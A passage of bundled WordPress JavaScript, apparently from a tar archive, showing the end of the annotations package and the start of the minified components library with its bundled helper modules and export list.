"undefined" in the uuid) // - Invalid input values for the RFC `version` or `variant` fields if (!validate(uuid)) { throw TypeError('Stringified UUID is invalid'); } return uuid; } /* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify))); ;// ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/v4.js function v4(options, buf, offset) { if (esm_browser_native.randomUUID && !buf && !options) { return esm_browser_native.randomUUID(); } options = options || {}; const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved` rnds[6] = rnds[6] & 0x0f | 0x40; rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided if (buf) { offset = offset || 0; for (let i = 0; i < 16; ++i) { buf[offset + i] = rnds[i]; } return buf; } return unsafeStringify(rnds); } /* harmony default export */ const esm_browser_v4 = (v4); ;// ./node_modules/@wordpress/annotations/build-module/store/actions.js /** * External dependencies */ /** * @typedef WPAnnotationRange * * @property {number} start The offset where the annotation should start. * @property {number} end The offset where the annotation should end. */ /** * Adds an annotation to a block. * * The `block` attribute refers to a block ID that needs to be annotated. * `isBlockAnnotation` controls whether or not the annotation is a block * annotation. The `source` is the source of the annotation, this will be used * to identity groups of annotations. * * The `range` property is only relevant if the selector is 'range'. * * @param {Object} annotation The annotation to add. * @param {string} annotation.blockClientId The blockClientId to add the annotation to. * @param {string} annotation.richTextIdentifier Identifier for the RichText instance the annotation applies to. * @param {WPAnnotationRange} annotation.range The range at which to apply this annotation. * @param {string} [annotation.selector="range"] The way to apply this annotation. * @param {string} [annotation.source="default"] The source that added the annotation. * @param {string} [annotation.id] The ID the annotation should have. Generates a UUID by default. * * @return {Object} Action object. */ function __experimentalAddAnnotation({ blockClientId, richTextIdentifier = null, range = null, selector = 'range', source = 'default', id = esm_browser_v4() }) { const action = { type: 'ANNOTATION_ADD', id, blockClientId, richTextIdentifier, source, selector }; if (selector === 'range') { action.range = range; } return action; } /** * Removes an annotation with a specific ID. * * @param {string} annotationId The annotation to remove. * * @return {Object} Action object. */ function __experimentalRemoveAnnotation(annotationId) { return { type: 'ANNOTATION_REMOVE', annotationId }; } /** * Updates the range of an annotation. * * @param {string} annotationId ID of the annotation to update. * @param {number} start The start of the new range. * @param {number} end The end of the new range. * * @return {Object} Action object. */ function __experimentalUpdateAnnotationRange(annotationId, start, end) { return { type: 'ANNOTATION_UPDATE_RANGE', annotationId, start, end }; } /** * Removes all annotations of a specific source. * * @param {string} source The source to remove. * * @return {Object} Action object. */ function __experimentalRemoveAnnotationsBySource(source) { return { type: 'ANNOTATION_REMOVE_SOURCE', source }; } ;// ./node_modules/@wordpress/annotations/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Module Constants */ /** * Store definition for the annotations namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, { reducer: reducer, selectors: selectors_namespaceObject, actions: actions_namespaceObject }); (0,external_wp_data_namespaceObject.register)(store); ;// ./node_modules/@wordpress/annotations/build-module/index.js /** * Internal dependencies */ (window.wp = window.wp || {}).annotations = __webpack_exports__; /******/ })() ; components.min.js 0000664 00002574264 15061233506 0010100 0 ustar 00 /*! This file is auto-generated */ (()=>{var e,t,n={66:e=>{"use strict";var t=function(e){return function(e){return!!e&&"object"==typeof e}(e)&&!function(e){var t=Object.prototype.toString.call(e);return"[object RegExp]"===t||"[object Date]"===t||function(e){return e.$$typeof===n}(e)}(e)};var n="function"==typeof Symbol&&Symbol.for?Symbol.for("react.element"):60103;function r(e,t){return!1!==t.clone&&t.isMergeableObject(e)?l((n=e,Array.isArray(n)?[]:{}),e,t):e;var n}function o(e,t,n){return e.concat(t).map((function(e){return r(e,n)}))}function i(e){return Object.keys(e).concat(function(e){return Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(e).filter((function(t){return Object.propertyIsEnumerable.call(e,t)})):[]}(e))}function s(e,t){try{return t in e}catch(e){return!1}}function a(e,t,n){var o={};return n.isMergeableObject(e)&&i(e).forEach((function(t){o[t]=r(e[t],n)})),i(t).forEach((function(i){(function(e,t){return s(e,t)&&!(Object.hasOwnProperty.call(e,t)&&Object.propertyIsEnumerable.call(e,t))})(e,i)||(s(e,i)&&n.isMergeableObject(t[i])?o[i]=function(e,t){if(!t.customMerge)return l;var n=t.customMerge(e);return"function"==typeof n?n:l}(i,n)(e[i],t[i],n):o[i]=r(t[i],n))})),o}function l(e,n,i){(i=i||{}).arrayMerge=i.arrayMerge||o,i.isMergeableObject=i.isMergeableObject||t,i.cloneUnlessOtherwiseSpecified=r;var s=Array.isArray(n);return s===Array.isArray(e)?s?i.arrayMerge(e,n,i):a(e,n,i):r(n,i)}l.all=function(e,t){if(!Array.isArray(e))throw new Error("first argument should be an array");return e.reduce((function(e,n){return l(e,n,t)}),{})};var c=l;e.exports=c},83:(e,t,n)=>{"use strict"; /** * @license React * use-sync-external-store-shim.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var r=n(1609);var o="function"==typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t},i=r.useState,s=r.useEffect,a=r.useLayoutEffect,l=r.useDebugValue;function c(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!o(e,n)}catch(e){return!0}}var u="undefined"==typeof window||void 0===window.document||void 0===window.document.createElement?function(e,t){return t()}:function(e,t){var n=t(),r=i({inst:{value:n,getSnapshot:t}}),o=r[0].inst,u=r[1];return a((function(){o.value=n,o.getSnapshot=t,c(o)&&u({inst:o})}),[e,n,t]),s((function(){return c(o)&&u({inst:o}),e((function(){c(o)&&u({inst:o})}))}),[e]),l(n),n};t.useSyncExternalStore=void 0!==r.useSyncExternalStore?r.useSyncExternalStore:u},422:(e,t,n)=>{"use strict";e.exports=n(83)},1178:(e,t,n)=>{"use strict";e.exports=n(2950)},1609:e=>{"use strict";e.exports=window.React},1880:(e,t,n)=>{"use strict";var r=n(1178),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},s={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},a={};function l(e){return r.isMemo(e)?s:a[e.$$typeof]||o}a[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},a[r.Memo]=s;var c=Object.defineProperty,u=Object.getOwnPropertyNames,d=Object.getOwnPropertySymbols,p=Object.getOwnPropertyDescriptor,f=Object.getPrototypeOf,h=Object.prototype;e.exports=function e(t,n,r){if("string"!=typeof n){if(h){var o=f(n);o&&o!==h&&e(t,o,r)}var s=u(n);d&&(s=s.concat(d(n)));for(var a=l(t),m=l(n),g=0;g<s.length;++g){var v=s[g];if(!(i[v]||r&&r[v]||m&&m[v]||a&&a[v])){var b=p(n,v);try{c(t,v,b)}catch(e){}}}}return t}},2950:(e,t)=>{"use strict"; /** @license React v16.13.1 * react-is.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var n="function"==typeof Symbol&&Symbol.for,r=n?Symbol.for("react.element"):60103,o=n?Symbol.for("react.portal"):60106,i=n?Symbol.for("react.fragment"):60107,s=n?Symbol.for("react.strict_mode"):60108,a=n?Symbol.for("react.profiler"):60114,l=n?Symbol.for("react.provider"):60109,c=n?Symbol.for("react.context"):60110,u=n?Symbol.for("react.async_mode"):60111,d=n?Symbol.for("react.concurrent_mode"):60111,p=n?Symbol.for("react.forward_ref"):60112,f=n?Symbol.for("react.suspense"):60113,h=n?Symbol.for("react.suspense_list"):60120,m=n?Symbol.for("react.memo"):60115,g=n?Symbol.for("react.lazy"):60116,v=n?Symbol.for("react.block"):60121,b=n?Symbol.for("react.fundamental"):60117,x=n?Symbol.for("react.responder"):60118,y=n?Symbol.for("react.scope"):60119;function w(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case r:switch(e=e.type){case u:case d:case i:case a:case s:case f:return e;default:switch(e=e&&e.$$typeof){case c:case p:case g:case m:case l:return e;default:return t}}case o:return t}}}function _(e){return w(e)===d}t.AsyncMode=u,t.ConcurrentMode=d,t.ContextConsumer=c,t.ContextProvider=l,t.Element=r,t.ForwardRef=p,t.Fragment=i,t.Lazy=g,t.Memo=m,t.Portal=o,t.Profiler=a,t.StrictMode=s,t.Suspense=f,t.isAsyncMode=function(e){return _(e)||w(e)===u},t.isConcurrentMode=_,t.isContextConsumer=function(e){return w(e)===c},t.isContextProvider=function(e){return w(e)===l},t.isElement=function(e){return"object"==typeof e&&null!==e&&e.$$typeof===r},t.isForwardRef=function(e){return w(e)===p},t.isFragment=function(e){return w(e)===i},t.isLazy=function(e){return w(e)===g},t.isMemo=function(e){return w(e)===m},t.isPortal=function(e){return w(e)===o},t.isProfiler=function(e){return w(e)===a},t.isStrictMode=function(e){return w(e)===s},t.isSuspense=function(e){return w(e)===f},t.isValidElementType=function(e){return"string"==typeof e||"function"==typeof e||e===i||e===d||e===a||e===s||e===f||e===h||"object"==typeof e&&null!==e&&(e.$$typeof===g||e.$$typeof===m||e.$$typeof===l||e.$$typeof===c||e.$$typeof===p||e.$$typeof===b||e.$$typeof===x||e.$$typeof===y||e.$$typeof===v)},t.typeOf=w},7734:e=>{"use strict";e.exports=function e(t,n){if(t===n)return!0;if(t&&n&&"object"==typeof t&&"object"==typeof n){if(t.constructor!==n.constructor)return!1;var r,o,i;if(Array.isArray(t)){if((r=t.length)!=n.length)return!1;for(o=r;0!=o--;)if(!e(t[o],n[o]))return!1;return!0}if(t instanceof Map&&n instanceof Map){if(t.size!==n.size)return!1;for(o of t.entries())if(!n.has(o[0]))return!1;for(o of t.entries())if(!e(o[1],n.get(o[0])))return!1;return!0}if(t instanceof Set&&n instanceof Set){if(t.size!==n.size)return!1;for(o of t.entries())if(!n.has(o[0]))return!1;return!0}if(ArrayBuffer.isView(t)&&ArrayBuffer.isView(n)){if((r=t.length)!=n.length)return!1;for(o=r;0!=o--;)if(t[o]!==n[o])return!1;return!0}if(t.constructor===RegExp)return t.source===n.source&&t.flags===n.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===n.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===n.toString();if((r=(i=Object.keys(t)).length)!==Object.keys(n).length)return!1;for(o=r;0!=o--;)if(!Object.prototype.hasOwnProperty.call(n,i[o]))return!1;for(o=r;0!=o--;){var s=i[o];if(!e(t[s],n[s]))return!1}return!0}return t!=t&&n!=n}},8924:(e,t)=>{var n={};n.parse=function(){var e=/^(\-(webkit|o|ms|moz)\-)?(linear\-gradient)/i,t=/^(\-(webkit|o|ms|moz)\-)?(repeating\-linear\-gradient)/i,n=/^(\-(webkit|o|ms|moz)\-)?(radial\-gradient)/i,r=/^(\-(webkit|o|ms|moz)\-)?(repeating\-radial\-gradient)/i,o=/^to (left (top|bottom)|right (top|bottom)|left|right|top|bottom)/i,i=/^(closest\-side|closest\-corner|farthest\-side|farthest\-corner|contain|cover)/,s=/^(left|center|right|top|bottom)/i,a=/^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))px/,l=/^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))\%/,c=/^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))em/,u=/^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))deg/,d=/^\(/,p=/^\)/,f=/^,/,h=/^\#([0-9a-fA-F]+)/,m=/^([a-zA-Z]+)/,g=/^rgb/i,v=/^rgba/i,b=/^(([0-9]*\.[0-9]+)|([0-9]+\.?))/,x="";function y(e){var t=new Error(x+": "+e);throw t.source=x,t}function w(){var e=T(_);return x.length>0&&y("Invalid input not EOF"),e}function _(){return S("linear-gradient",e,k)||S("repeating-linear-gradient",t,k)||S("radial-gradient",n,j)||S("repeating-radial-gradient",r,j)}function S(e,t,n){return C(t,(function(t){var r=n();return r&&(z(f)||y("Missing comma before color stops")),{type:e,orientation:r,colorStops:T(I)}}))}function C(e,t){var n=z(e);if(n)return z(d)||y("Missing ("),result=t(n),z(p)||y("Missing )"),result}function k(){return D("directional",o,1)||D("angular",u,1)}function j(){var e,t,n=E();return n&&((e=[]).push(n),t=x,z(f)&&((n=E())?e.push(n):x=t)),e}function E(){var e=function(){var e=D("shape",/^(circle)/i,0);e&&(e.style=A()||P());return e}()||function(){var e=D("shape",/^(ellipse)/i,0);e&&(e.style=M()||P());return e}();if(e)e.at=function(){if(D("position",/^at/,0)){var e=N();return e||y("Missing positioning value"),e}}();else{var t=N();t&&(e={type:"default-radial",at:t})}return e}function P(){return D("extent-keyword",i,1)}function N(){var e={x:M(),y:M()};if(e.x||e.y)return{type:"position",value:e}}function T(e){var t=e(),n=[];if(t)for(n.push(t);z(f);)(t=e())?n.push(t):y("One extra comma");return n}function I(){var e=D("hex",h,1)||C(v,(function(){return{type:"rgba",value:T(R)}}))||C(g,(function(){return{type:"rgb",value:T(R)}}))||D("literal",m,0);return e||y("Expected color definition"),e.length=M(),e}function R(){return z(b)[1]}function M(){return D("%",l,1)||D("position-keyword",s,1)||A()}function A(){return D("px",a,1)||D("em",c,1)}function D(e,t,n){var r=z(t);if(r)return{type:e,value:r[n]}}function z(e){var t,n;return(n=/^[\n\r\t\s]+/.exec(x))&&O(n[0].length),(t=e.exec(x))&&O(t[0].length),t}function O(e){x=x.substr(e)}return function(e){return x=e.toString(),w()}}(),t.parse=(n||{}).parse},9664:e=>{e.exports=function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={exports:{},id:r,loaded:!1};return e[r].call(o.exports,o,o.exports,n),o.loaded=!0,o.exports}return n.m=e,n.c=t,n.p="",n(0)}([function(e,t,n){e.exports=n(1)},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(2);Object.defineProperty(t,"combineChunks",{enumerable:!0,get:function(){return r.combineChunks}}),Object.defineProperty(t,"fillInChunks",{enumerable:!0,get:function(){return r.fillInChunks}}),Object.defineProperty(t,"findAll",{enumerable:!0,get:function(){return r.findAll}}),Object.defineProperty(t,"findChunks",{enumerable:!0,get:function(){return r.findChunks}})},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.findAll=function(e){var t=e.autoEscape,i=e.caseSensitive,s=void 0!==i&&i,a=e.findChunks,l=void 0===a?r:a,c=e.sanitize,u=e.searchWords,d=e.textToHighlight;return o({chunksToHighlight:n({chunks:l({autoEscape:t,caseSensitive:s,sanitize:c,searchWords:u,textToHighlight:d})}),totalLength:d?d.length:0})};var n=t.combineChunks=function(e){var t=e.chunks;return t=t.sort((function(e,t){return e.start-t.start})).reduce((function(e,t){if(0===e.length)return[t];var n=e.pop();if(t.start<=n.end){var r=Math.max(n.end,t.end);e.push({highlight:!1,start:n.start,end:r})}else e.push(n,t);return e}),[])},r=function(e){var t=e.autoEscape,n=e.caseSensitive,r=e.sanitize,o=void 0===r?i:r,s=e.searchWords,a=e.textToHighlight;return a=o(a),s.filter((function(e){return e})).reduce((function(e,r){r=o(r),t&&(r=r.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"));for(var i=new RegExp(r,n?"g":"gi"),s=void 0;s=i.exec(a);){var l=s.index,c=i.lastIndex;c>l&&e.push({highlight:!1,start:l,end:c}),s.index===i.lastIndex&&i.lastIndex++}return e}),[])};t.findChunks=r;var o=t.fillInChunks=function(e){var t=e.chunksToHighlight,n=e.totalLength,r=[],o=function(e,t,n){t-e>0&&r.push({start:e,end:t,highlight:n})};if(0===t.length)o(0,n,!1);else{var i=0;t.forEach((function(e){o(i,e.start,!1),o(e.start,e.end,!0),i=e.end})),o(i,n,!1)}return r};function i(e){return e}}])},9681:e=>{var t={À:"A",Á:"A",Â:"A",Ã:"A",Ä:"A",Å:"A",Ấ:"A",Ắ:"A",Ẳ:"A",Ẵ:"A",Ặ:"A",Æ:"AE",Ầ:"A",Ằ:"A",Ȃ:"A",Ả:"A",Ạ:"A",Ẩ:"A",Ẫ:"A",Ậ:"A",Ç:"C",Ḉ:"C",È:"E",É:"E",Ê:"E",Ë:"E",Ế:"E",Ḗ:"E",Ề:"E",Ḕ:"E",Ḝ:"E",Ȇ:"E",Ẻ:"E",Ẽ:"E",Ẹ:"E",Ể:"E",Ễ:"E",Ệ:"E",Ì:"I",Í:"I",Î:"I",Ï:"I",Ḯ:"I",Ȋ:"I",Ỉ:"I",Ị:"I",Ð:"D",Ñ:"N",Ò:"O",Ó:"O",Ô:"O",Õ:"O",Ö:"O",Ø:"O",Ố:"O",Ṍ:"O",Ṓ:"O",Ȏ:"O",Ỏ:"O",Ọ:"O",Ổ:"O",Ỗ:"O",Ộ:"O",Ờ:"O",Ở:"O",Ỡ:"O",Ớ:"O",Ợ:"O",Ù:"U",Ú:"U",Û:"U",Ü:"U",Ủ:"U",Ụ:"U",Ử:"U",Ữ:"U",Ự:"U",Ý:"Y",à:"a",á:"a",â:"a",ã:"a",ä:"a",å:"a",ấ:"a",ắ:"a",ẳ:"a",ẵ:"a",ặ:"a",æ:"ae",ầ:"a",ằ:"a",ȃ:"a",ả:"a",ạ:"a",ẩ:"a",ẫ:"a",ậ:"a",ç:"c",ḉ:"c",è:"e",é:"e",ê:"e",ë:"e",ế:"e",ḗ:"e",ề:"e",ḕ:"e",ḝ:"e",ȇ:"e",ẻ:"e",ẽ:"e",ẹ:"e",ể:"e",ễ:"e",ệ:"e",ì:"i",í:"i",î:"i",ï:"i",ḯ:"i",ȋ:"i",ỉ:"i",ị:"i",ð:"d",ñ:"n",ò:"o",ó:"o",ô:"o",õ:"o",ö:"o",ø:"o",ố:"o",ṍ:"o",ṓ:"o",ȏ:"o",ỏ:"o",ọ:"o",ổ:"o",ỗ:"o",ộ:"o",ờ:"o",ở:"o",ỡ:"o",ớ:"o",ợ:"o",ù:"u",ú:"u",û:"u",ü:"u",ủ:"u",ụ:"u",ử:"u",ữ:"u",ự:"u",ý:"y",ÿ:"y",Ā:"A",ā:"a",Ă:"A",ă:"a",Ą:"A",ą:"a",Ć:"C",ć:"c",Ĉ:"C",ĉ:"c",Ċ:"C",ċ:"c",Č:"C",č:"c",C̆:"C",c̆:"c",Ď:"D",ď:"d",Đ:"D",đ:"d",Ē:"E",ē:"e",Ĕ:"E",ĕ:"e",Ė:"E",ė:"e",Ę:"E",ę:"e",Ě:"E",ě:"e",Ĝ:"G",Ǵ:"G",ĝ:"g",ǵ:"g",Ğ:"G",ğ:"g",Ġ:"G",ġ:"g",Ģ:"G",ģ:"g",Ĥ:"H",ĥ:"h",Ħ:"H",ħ:"h",Ḫ:"H",ḫ:"h",Ĩ:"I",ĩ:"i",Ī:"I",ī:"i",Ĭ:"I",ĭ:"i",Į:"I",į:"i",İ:"I",ı:"i",IJ:"IJ",ij:"ij",Ĵ:"J",ĵ:"j",Ķ:"K",ķ:"k",Ḱ:"K",ḱ:"k",K̆:"K",k̆:"k",Ĺ:"L",ĺ:"l",Ļ:"L",ļ:"l",Ľ:"L",ľ:"l",Ŀ:"L",ŀ:"l",Ł:"l",ł:"l",Ḿ:"M",ḿ:"m",M̆:"M",m̆:"m",Ń:"N",ń:"n",Ņ:"N",ņ:"n",Ň:"N",ň:"n",ʼn:"n",N̆:"N",n̆:"n",Ō:"O",ō:"o",Ŏ:"O",ŏ:"o",Ő:"O",ő:"o",Œ:"OE",œ:"oe",P̆:"P",p̆:"p",Ŕ:"R",ŕ:"r",Ŗ:"R",ŗ:"r",Ř:"R",ř:"r",R̆:"R",r̆:"r",Ȓ:"R",ȓ:"r",Ś:"S",ś:"s",Ŝ:"S",ŝ:"s",Ş:"S",Ș:"S",ș:"s",ş:"s",Š:"S",š:"s",Ţ:"T",ţ:"t",ț:"t",Ț:"T",Ť:"T",ť:"t",Ŧ:"T",ŧ:"t",T̆:"T",t̆:"t",Ũ:"U",ũ:"u",Ū:"U",ū:"u",Ŭ:"U",ŭ:"u",Ů:"U",ů:"u",Ű:"U",ű:"u",Ų:"U",ų:"u",Ȗ:"U",ȗ:"u",V̆:"V",v̆:"v",Ŵ:"W",ŵ:"w",Ẃ:"W",ẃ:"w",X̆:"X",x̆:"x",Ŷ:"Y",ŷ:"y",Ÿ:"Y",Y̆:"Y",y̆:"y",Ź:"Z",ź:"z",Ż:"Z",ż:"z",Ž:"Z",ž:"z",ſ:"s",ƒ:"f",Ơ:"O",ơ:"o",Ư:"U",ư:"u",Ǎ:"A",ǎ:"a",Ǐ:"I",ǐ:"i",Ǒ:"O",ǒ:"o",Ǔ:"U",ǔ:"u",Ǖ:"U",ǖ:"u",Ǘ:"U",ǘ:"u",Ǚ:"U",ǚ:"u",Ǜ:"U",ǜ:"u",Ứ:"U",ứ:"u",Ṹ:"U",ṹ:"u",Ǻ:"A",ǻ:"a",Ǽ:"AE",ǽ:"ae",Ǿ:"O",ǿ:"o",Þ:"TH",þ:"th",Ṕ:"P",ṕ:"p",Ṥ:"S",ṥ:"s",X́:"X",x́:"x",Ѓ:"Г",ѓ:"г",Ќ:"К",ќ:"к",A̋:"A",a̋:"a",E̋:"E",e̋:"e",I̋:"I",i̋:"i",Ǹ:"N",ǹ:"n",Ồ:"O",ồ:"o",Ṑ:"O",ṑ:"o",Ừ:"U",ừ:"u",Ẁ:"W",ẁ:"w",Ỳ:"Y",ỳ:"y",Ȁ:"A",ȁ:"a",Ȅ:"E",ȅ:"e",Ȉ:"I",ȉ:"i",Ȍ:"O",ȍ:"o",Ȑ:"R",ȑ:"r",Ȕ:"U",ȕ:"u",B̌:"B",b̌:"b",Č̣:"C",č̣:"c",Ê̌:"E",ê̌:"e",F̌:"F",f̌:"f",Ǧ:"G",ǧ:"g",Ȟ:"H",ȟ:"h",J̌:"J",ǰ:"j",Ǩ:"K",ǩ:"k",M̌:"M",m̌:"m",P̌:"P",p̌:"p",Q̌:"Q",q̌:"q",Ř̩:"R",ř̩:"r",Ṧ:"S",ṧ:"s",V̌:"V",v̌:"v",W̌:"W",w̌:"w",X̌:"X",x̌:"x",Y̌:"Y",y̌:"y",A̧:"A",a̧:"a",B̧:"B",b̧:"b",Ḑ:"D",ḑ:"d",Ȩ:"E",ȩ:"e",Ɛ̧:"E",ɛ̧:"e",Ḩ:"H",ḩ:"h",I̧:"I",i̧:"i",Ɨ̧:"I",ɨ̧:"i",M̧:"M",m̧:"m",O̧:"O",o̧:"o",Q̧:"Q",q̧:"q",U̧:"U",u̧:"u",X̧:"X",x̧:"x",Z̧:"Z",z̧:"z",й:"и",Й:"И",ё:"е",Ё:"Е"},n=Object.keys(t).join("|"),r=new RegExp(n,"g"),o=new RegExp(n,"");function i(e){return t[e]}var s=function(e){return e.replace(r,i)};e.exports=s,e.exports.has=function(e){return!!e.match(o)},e.exports.remove=s}},r={};function o(e){var t=r[e];if(void 0!==t)return t.exports;var i=r[e]={exports:{}};return n[e](i,i.exports,o),i.exports}o.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return o.d(t,{a:t}),t},t=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(n,r){if(1&r&&(n=this(n)),8&r)return n;if("object"==typeof n&&n){if(4&r&&n.__esModule)return n;if(16&r&&"function"==typeof n.then)return n}var i=Object.create(null);o.r(i);var s={};e=e||[null,t({}),t([]),t(t)];for(var a=2&r&&n;"object"==typeof a&&!~e.indexOf(a);a=t(a))Object.getOwnPropertyNames(a).forEach((e=>s[e]=()=>n[e]));return s.default=()=>n,o.d(i,s),i},o.d=(e,t)=>{for(var n in t)o.o(t,n)&&!o.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),o.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.nc=void 0;var i={};(()=>{"use strict";o.r(i),o.d(i,{AlignmentMatrixControl:()=>Yl,AnglePickerControl:()=>_y,Animate:()=>Ql,Autocomplete:()=>Aw,BaseControl:()=>Wx,BlockQuotation:()=>n.BlockQuotation,BorderBoxControl:()=>kj,BorderControl:()=>sj,BoxControl:()=>lE,Button:()=>Jx,ButtonGroup:()=>cE,Card:()=>WE,CardBody:()=>eP,CardDivider:()=>pP,CardFooter:()=>hP,CardHeader:()=>gP,CardMedia:()=>bP,CheckboxControl:()=>xP,Circle:()=>n.Circle,ClipboardButton:()=>wP,ColorIndicator:()=>F_,ColorPalette:()=>jk,ColorPicker:()=>nk,ComboboxControl:()=>lT,Composite:()=>Gn,CustomGradientPicker:()=>dN,CustomSelectControl:()=>DI,Dashicon:()=>Yx,DatePicker:()=>kM,DateTimePicker:()=>KM,Disabled:()=>nA,Draggable:()=>iA,DropZone:()=>aA,DropZoneProvider:()=>lA,Dropdown:()=>W_,DropdownMenu:()=>NN,DuotonePicker:()=>gA,DuotoneSwatch:()=>dA,ExternalLink:()=>vA,Fill:()=>vw,Flex:()=>kg,FlexBlock:()=>Eg,FlexItem:()=>Fg,FocalPointPicker:()=>VA,FocusReturnProvider:()=>FB,FocusableIframe:()=>$A,FontSizePicker:()=>nD,FormFileUpload:()=>rD,FormToggle:()=>sD,FormTokenField:()=>pD,G:()=>n.G,GradientPicker:()=>gN,Guide:()=>mD,GuidePage:()=>gD,HorizontalRule:()=>n.HorizontalRule,Icon:()=>Xx,IconButton:()=>vD,IsolatedEventContainer:()=>SB,KeyboardShortcuts:()=>xD,Line:()=>n.Line,MenuGroup:()=>yD,MenuItem:()=>_D,MenuItemsChoice:()=>CD,Modal:()=>kT,NavigableMenu:()=>kN,Navigator:()=>lO,Notice:()=>pO,NoticeList:()=>hO,Panel:()=>gO,PanelBody:()=>wO,PanelHeader:()=>mO,PanelRow:()=>_O,Path:()=>n.Path,Placeholder:()=>CO,Polygon:()=>n.Polygon,Popover:()=>jw,ProgressBar:()=>TO,QueryControls:()=>VO,RadioControl:()=>XO,RangeControl:()=>ZS,Rect:()=>n.Rect,ResizableBox:()=>zL,ResponsiveWrapper:()=>OL,SVG:()=>n.SVG,SandBox:()=>FL,ScrollLock:()=>Hy,SearchControl:()=>mz,SelectControl:()=>cS,Slot:()=>bw,SlotFillProvider:()=>xw,Snackbar:()=>VL,SnackbarList:()=>HL,Spinner:()=>oT,TabPanel:()=>iF,TabbableContainer:()=>kD,TextControl:()=>aF,TextHighlight:()=>hF,TextareaControl:()=>fF,TimePicker:()=>HM,Tip:()=>gF,ToggleControl:()=>bF,Toolbar:()=>OF,ToolbarButton:()=>PF,ToolbarDropdownMenu:()=>LF,ToolbarGroup:()=>IF,ToolbarItem:()=>jF,Tooltip:()=>ss,TreeSelect:()=>DO,VisuallyHidden:()=>Sl,__experimentalAlignmentMatrixControl:()=>Yl,__experimentalApplyValueToSides:()=>Dj,__experimentalBorderBoxControl:()=>kj,__experimentalBorderControl:()=>sj,__experimentalBoxControl:()=>lE,__experimentalConfirmDialog:()=>ET,__experimentalDimensionControl:()=>XM,__experimentalDivider:()=>uP,__experimentalDropdownContentWrapper:()=>xk,__experimentalElevation:()=>fE,__experimentalGrid:()=>cj,__experimentalHStack:()=>fy,__experimentalHasSplitBorders:()=>bj,__experimentalHeading:()=>mk,__experimentalInputControl:()=>qx,__experimentalInputControlPrefixWrapper:()=>lC,__experimentalInputControlSuffixWrapper:()=>U_,__experimentalIsDefinedBorder:()=>vj,__experimentalIsEmptyBorder:()=>gj,__experimentalItem:()=>LP,__experimentalItemGroup:()=>FP,__experimentalNavigation:()=>UD,__experimentalNavigationBackButton:()=>YD,__experimentalNavigationGroup:()=>QD,__experimentalNavigationItem:()=>az,__experimentalNavigationMenu:()=>xz,__experimentalNavigatorBackButton:()=>sO,__experimentalNavigatorButton:()=>iO,__experimentalNavigatorProvider:()=>rO,__experimentalNavigatorScreen:()=>oO,__experimentalNavigatorToParentButton:()=>aO,__experimentalNumberControl:()=>gy,__experimentalPaletteEdit:()=>WN,__experimentalParseQuantityAndUnitFromRawValue:()=>qk,__experimentalRadio:()=>WO,__experimentalRadioGroup:()=>GO,__experimentalScrollable:()=>QE,__experimentalSpacer:()=>zg,__experimentalStyleProvider:()=>lw,__experimentalSurface:()=>WL,__experimentalText:()=>$v,__experimentalToggleGroupControl:()=>x_,__experimentalToggleGroupControlOption:()=>FM,__experimentalToggleGroupControlOptionIcon:()=>z_,__experimentalToolbarContext:()=>kF,__experimentalToolsPanel:()=>aB,__experimentalToolsPanelContext:()=>YF,__experimentalToolsPanelItem:()=>uB,__experimentalTreeGrid:()=>gB,__experimentalTreeGridCell:()=>wB,__experimentalTreeGridItem:()=>yB,__experimentalTreeGridRow:()=>vB,__experimentalTruncate:()=>fk,__experimentalUnitControl:()=>tj,__experimentalUseCustomUnits:()=>Yk,__experimentalUseNavigator:()=>Jz,__experimentalUseSlot:()=>Gy,__experimentalUseSlotFills:()=>CB,__experimentalVStack:()=>pk,__experimentalView:()=>_l,__experimentalZStack:()=>NB,__unstableAnimatePresence:()=>hg,__unstableComposite:()=>fT,__unstableCompositeGroup:()=>hT,__unstableCompositeItem:()=>mT,__unstableDisclosureContent:()=>rA,__unstableGetAnimateClassName:()=>Zl,__unstableMotion:()=>ag,__unstableUseAutocompleteProps:()=>Mw,__unstableUseCompositeState:()=>gT,__unstableUseNavigateRegions:()=>IB,createSlotFill:()=>yw,navigateRegions: